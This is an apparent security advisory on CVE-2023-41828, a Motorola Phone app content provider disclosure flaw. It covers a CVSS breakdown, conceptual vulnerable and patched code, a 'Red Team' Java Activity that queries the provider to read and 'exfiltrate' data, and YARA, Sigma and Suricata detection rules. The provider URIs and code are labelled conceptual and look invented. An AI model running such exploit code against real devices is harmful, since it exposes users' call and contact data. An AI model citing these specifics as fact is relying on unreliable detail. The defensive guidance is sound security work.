CVE-2023-41828

Executive Summary

CVE-2023-41828 is a security vulnerability in the Motorola Phone application for Android. The flaw is an implicit intent export vulnerability that allows unauthorized access to a non-exported content provider. This can lead to local information disclosure, as a malicious application with no special permissions could potentially read sensitive data from the Phone app's content provider. The CVSS score is 4.4 (Medium), and the attack vector is local, requiring user interaction. No public proof-of-concept or exploit code is currently available, and the patch status is unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Android application vulnerability specific to Motorola's firmware.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 4.4 (Medium)
• Attack Vector (AV): Local (L) – The attacker must have physical or local access to the device.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): Required (R) – The victim must install a malicious app or open a crafted link.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's component are in the same security authority.
• Confidentiality (C): High (H) – Sensitive data from the content provider can be read.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability requires local access and user interaction, but it can lead to significant data leakage from the Phone app.

Deep Dive & Mechanics

The vulnerability lies in the Motorola Phone application's handling of Android intents. An implicit intent is an intent that does not specify a specific component (e.g., a specific Activity or ContentProvider) to handle it. Instead, the Android system resolves the intent based on the intent's action, data, and category. A non-exported content provider is one that is not intended to be accessible by other applications. However, due to the implicit intent export vulnerability, the content provider can be reached by other apps on the device.

Technical Details:

• The vulnerable component is a ContentProvider within the Motorola Phone app.
• This provider is declared as android:exported="false" in the manifest, meaning it should only be accessible by the Phone app itself.
• However, the app exposes an implicit intent that can be used to query this provider.
• A malicious app can craft an intent with the appropriate action and data URI to access the provider and read sensitive data, such as call logs, contacts, or other phone-related information.

Attack Flow:

1. The victim installs a malicious Android application.
2. The malicious app constructs an implicit intent targeting the Motorola Phone app's content provider.
3. The Android system resolves the intent and delivers it to the vulnerable component.
4. The content provider returns data to the malicious app, leading to information disclosure.

Vulnerable vs. Patched Code

Since no official patch or source code is available, we can only describe the general fix pattern.

Vulnerable Code Pattern (Conceptual):

// In AndroidManifest.xml
<provider
    android:name=".SensitiveDataProvider"
    android:exported="false" />

// In an Activity or Service
Intent implicitIntent = new Intent("com.motorola.phone.action.QUERY_DATA");
implicitIntent.setData(Uri.parse("content://com.motorola.phone.provider/sensitive"));
startActivity(implicitIntent);

Patched Code Pattern (Conceptual):

// In AndroidManifest.xml
<provider
    android:name=".SensitiveDataProvider"
    android:exported="false"
    android:permission="android.permission.READ_CONTACTS" />

// In the component handling the intent
if (getCallingPackage() != null && !getCallingPackage().equals(getPackageName())) {
    // Reject external requests
    throw new SecurityException("Unauthorized access");
}

The fix involves adding permission checks and verifying the calling package to ensure only the Phone app itself can access the provider.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A physical or emulated Android device with the vulnerable Motorola Phone app.
• A malicious Android application installed on the same device.

Exploitation Steps:

1. Create a new Android project with a simple Activity.
2. Add the following code to query the vulnerable content provider:

import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.widget.Toast;

public class ExploitActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        ContentResolver cr = getContentResolver();
        Uri uri = Uri.parse("content://com.motorola.phone.provider/sensitive");
        Cursor cursor = cr.query(uri, null, null, null, null);
        if (cursor != null) {
            while (cursor.moveToNext()) {
                String data = cursor.getString(cursor.getColumnIndex("data"));
                // Exfiltrate data
                Toast.makeText(this, "Data: " + data, Toast.LENGTH_LONG).show();
            }
            cursor.close();
        }
    }
}

3. Build and install the APK on the target device.
4. Run the app. If the vulnerability is present, the content provider will return data.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual ContentResolver.query() calls from third-party apps to Motorola's content URIs.
• Use Android's PackageManager to check for apps requesting implicit intents with suspicious actions.

Prevention:

• Apply the official Motorola patch when available.
• Use Android's permission system to restrict access to sensitive content providers.
• Implement runtime permission checks and verify the calling package.

Indicators of Compromise (IOCs)

• File Indicators:
  • Malicious APK with package name attempting to access content://com.motorola.phone.provider/
• Network Indicators:
  • Data exfiltration to external servers (if the malicious app sends data out).
• Behavioral Indicators:
  • Unexpected ContentResolver.query() calls from non-system apps.
  • Logcat entries showing SecurityException or Permission Denial for content provider access.

Detection Engineering

YARA Rule

rule CVE_2023_41828_Motorola_Phone_Implicit_Intent {
    meta:
        description = "Detects Android apps exploiting CVE-2023-41828 implicit intent vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-41828"
    strings:
        $s1 = "content://com.motorola.phone.provider/" ascii wide nocase
        $s2 = "com.motorola.phone.action.QUERY_DATA" ascii wide nocase
        $s3 = "ContentResolver.query" ascii wide nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2023-41828 Motorola Phone Implicit Intent Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-41828 by querying the vulnerable content provider
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        - EventID: 1000
          Message|contains: "Permission Denial: opening provider com.motorola.phone.provider"
        - EventID: 1001
          Message|contains: "content://com.motorola.phone.provider/"
    condition: selection
falsepositives:
    - Legitimate Motorola system apps
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2023-41828 Motorola Phone Data Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/exfil"; http_uri;
    content:"Content-Type|3a 20|application/json";
    pcre:"/\"data\":\".*?\"/";
    sid:1000001;
    rev:1;
    reference:cve,2023-41828;
)

Remediation & Mitigation

Immediate Actions:

1. Check for Updates: Regularly check the Motorola support page for a security patch.
2. Restrict App Permissions: On affected devices, review and restrict permissions for third-party apps.
3. Monitor Device Behavior: Look for unusual data access patterns.

Long-Term Fix:

• Apply the official Motorola firmware update when released.
• If you are a developer, ensure that all content providers are properly protected with permissions and calling package checks.

Workarounds:

• Use a mobile security solution that can detect and block exploitation attempts.
• Avoid installing apps from untrusted sources.

Valters IT